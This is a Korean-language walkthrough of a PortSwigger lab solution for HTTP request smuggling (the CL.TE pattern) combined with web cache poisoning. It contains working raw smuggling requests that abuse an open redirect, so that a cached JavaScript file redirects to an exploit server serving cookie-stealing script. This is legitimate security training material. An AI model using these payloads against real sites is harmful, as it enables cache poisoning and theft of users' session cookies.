개요
- HTTP Request Smuggling 취약점 문제이다.
- 문제 주소: https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning
- 취약점 설명페이지1: https://portswigger.net/web-security/request-smuggling
- 취약점 설명페이지2: https://portswigger.net/web-security/request-smuggling/exploiting
- 난이도: EXPERT (어려움)
취약점 개요 (HTTP 요청 스머글링을 통한 웹 캐시 포이즈닝)
- CL.TE 패턴에서 오렌지색 부분까지가 스머글링되는 부분이다. 하늘색부분 요청의 Content-Length 헤더 값은 오렌지색 부분까지의 길이 값이다.
- 프론트 엔드서버는 이 것은 두 개의 요청으로 본다. 백엔드 서버는 세 개의 요청을 본다.
- 오렌지색 부분이 밀반입(스머글링)되면,
GET /static/include.js
에 대한 응답을 기다리는 프론트엔드 서버에게 attacker-website.com에 대한 리다이렉트 응답이 회신된다. - 그 결과
GET /static/include.js
에 대한 응답이 attacker-website.com에 대한 리다이렉트 응답으로 캐싱된다! - 참고로 주황색 부분은 취약한 웹 사이트에서 302응답이 돌아오는 엔드포인트를 선정할 필요가 있다.
출처:https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-perform-web-cache-poisoning
랩 개요
- 이 랩은 프론트 엔드 서버와 백엔드 서버로 구성되어 있다. 프론트 엔드 서버는 chunked encoding(TE헤더)을 지원하지 않는다. (즉, CL.TE패턴이다.)
- 프론트엔드 서버는 일부 응답을 캐싱한다.
- 랩을 풀려면 백엔드 서버에게 HTTP요청을 밀반입해서 캐시를 오염시킨다. 그 결과 자바스크립트에 대한 요청이 exploit서버로 리다이렉트되도록 하면 된다. 그리고 exploit서버에서 준비한 alert(document.cookie)가 실행되도록 하면 된다.
This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server is configured to cache certain responses.
To solve the lab, perform a request smuggling attack that causes the cache to be poisoned, such that a subsequent request for a JavaScript file receives a redirection to the exploit server. The poisoned cache should alert document.cookie.
풀이
- 랩 서버를 살펴본다. 톱 페이지에는
/resources/js/tracking.js
가 포함되어 있는 것을 볼 수 있다.
그리고 GET /resources/js/tracking.js
요청의 응답에는 캐시가 사용되고 있는 것을 알 수 있다. 따라서 이 곳을 웹 캐시 포이즈닝의 타겟으로 삼을 수 있을 것이다.
- 다음 페이로드를 준비했다. GET /exploit 요청이 백엔드 서버로 밀반입되어
GET /resources/js/tracking.js
요청에 대한 응답을 기다리고 있는 프론트엔드 서버로 회신되면 프론트엔드 서버는 이 응답을 캐싱할 것이다.
POST / HTTP/1.1
Host: 0ad9001a04893b2789f029b300f700b2.web-security-academy.net
Cookie: session=NqmFb01lgHNowsNpIlm6Ugif2hN9WsuP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Length: 101
Transfer-Encoding: chunked
0
GET /exploit HTTP/1.1
Host: exploit-0af4004704b63bd0897f28b0013c00bf.exploit-server.net
Foo: XGET /resources/js/tracking.js HTTP/1.1
- 그런데 결과는 다음과 같았다. 이 요청을 두번 요청하면 400 응답
Duplicate header names are not allowed
가 돌아왔다. 아마 Host헤더 때문에 그런 것 같은데…
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Connection: close
Content-Length: 50
{"error":"Duplicate header names are not allowed"}
- 모르겠다. 답을 본다.
아하! 302응답이 돌아오는 엔드포인트를 찾는 것이 관건이었다. 블로그 글에서 다음 글을 보는 Next Post
를 클릭했을 때의 요청 GET /post/next?postId=9
에 대한 응답이 302였다. 여기에 오픈리다이렉트 취약점이 있어서 임의의 Host 헤더에 대해서도 해당 주소로 회신을 해주고 있었다.
HTTP/2 302 Found
Location: https://0ad9001a04893b2789f029b300f700b2.web-security-academy.net/post?postId=10
X-Frame-Options: SAMEORIGIN
Content-Length: 0
- 다시 풀어본다. 다음 요청을 보내본다.
POST / HTTP/1.1
Host: 0add00c20315cd8586a821b900f80025.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
두번 이어서 보내면 두번째 응답에서 302 응답, 그리고 Host헤더의 값을 임의의 값으로 설정할 수 있는 것을 볼 수 있다. 이 것으로 스머글링과 오픈 리다이렉트가 가능한 것을 알았다.
- exploit서버를 준비한다. /post 엔드포인트로 지정하고, Content-Type을
text/javascript
로 변경한다. 바디에서는 alert(document.cookie)가 실행되도록 한다.
- 웹 캐시를 오염시키기 위한 다음 요청을 보낸다. Repeater에서 Content-Length 값이 업데이트되지 않도록 설정에서 Update Content-Length 의 체크를 해제한다. 184는 x=1\r\n\r\n 까지의 길이를 의미한다.
POST / HTTP/1.1
Host: 0add00c20315cd8586a821b900f80025.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a6a00aa0364cd9886f120d6013200a4.exploit-server.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
GET /resources/js/tracking.js HTTP/1.1
Host: 0add00c20315cd8586a821b900f80025.web-security-academy.net
Connection: close
- 요청을 두번 보내면 두번째 응답부터는 exploit서버로의 302 리다이렉트가 회신되는 것을 볼 수 있다. 이 것으로
GET /resources/js/tracking.js
요청에 대한 응답이 exploit서버의 컨텐츠(alert(document.cookie)
)로 오염되었을 것으로 볼 수 있다.
- Repeater에서
GET /resources/js/tracking.js
로 요청해본다. 처음에는 캐시된 응답(정상적인 응답)이 돌아오지만 캐시의 Age를 넘어서면, 새로 캐싱된 응답(exploit서버로 리다이렉트)이 돌아온다.
- 웹 브라우저에서도 테스트해본다.
https://0add00c20315cd8586a821b900f80025.web-security-academy.net/resources/js/tracking.js
로 접속하면 오염된 캐시가 동작하여 https://exploit-0a6a00aa0364cd9886f120d6013200a4.exploit-server.net/post?postId=4
로 리다이렉트 된다.
- 다시 랩 서버를 보면 문제가 풀렸다는 메세지가 출력된다.
정리해본다. 다음 조건 하에서 공격이 성립한다 .
- 프론트 엔드서버에 캐싱 기능이 있다. 일부 엔드포인트(정적파일 요청등)에서 이 캐싱이 사용된다.
- 오픈 리다이렉트 취약점이 있다. (임의의 Host 헤더에 값을 설정하는 것으로 임의의 호스트로 리다이렉트시킬 수 있다.)
- HTTP 요청 스머글링이 가능하다.
=> 오픈리다이렉트 되는 요청을 스머글링하고, 바로 뒤 이어서 정적 파일 요청을 보내면, 정적 파일 요청에 대한 응답이 직전의 리다이렉트요청에 대한 응답으로 돌아온다. 그 결과 캐시가 오염된다.